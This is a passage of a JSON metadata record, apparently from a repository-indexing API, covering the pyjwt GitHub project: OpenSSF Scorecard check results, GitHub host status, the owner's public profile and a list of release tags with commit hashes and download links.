hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1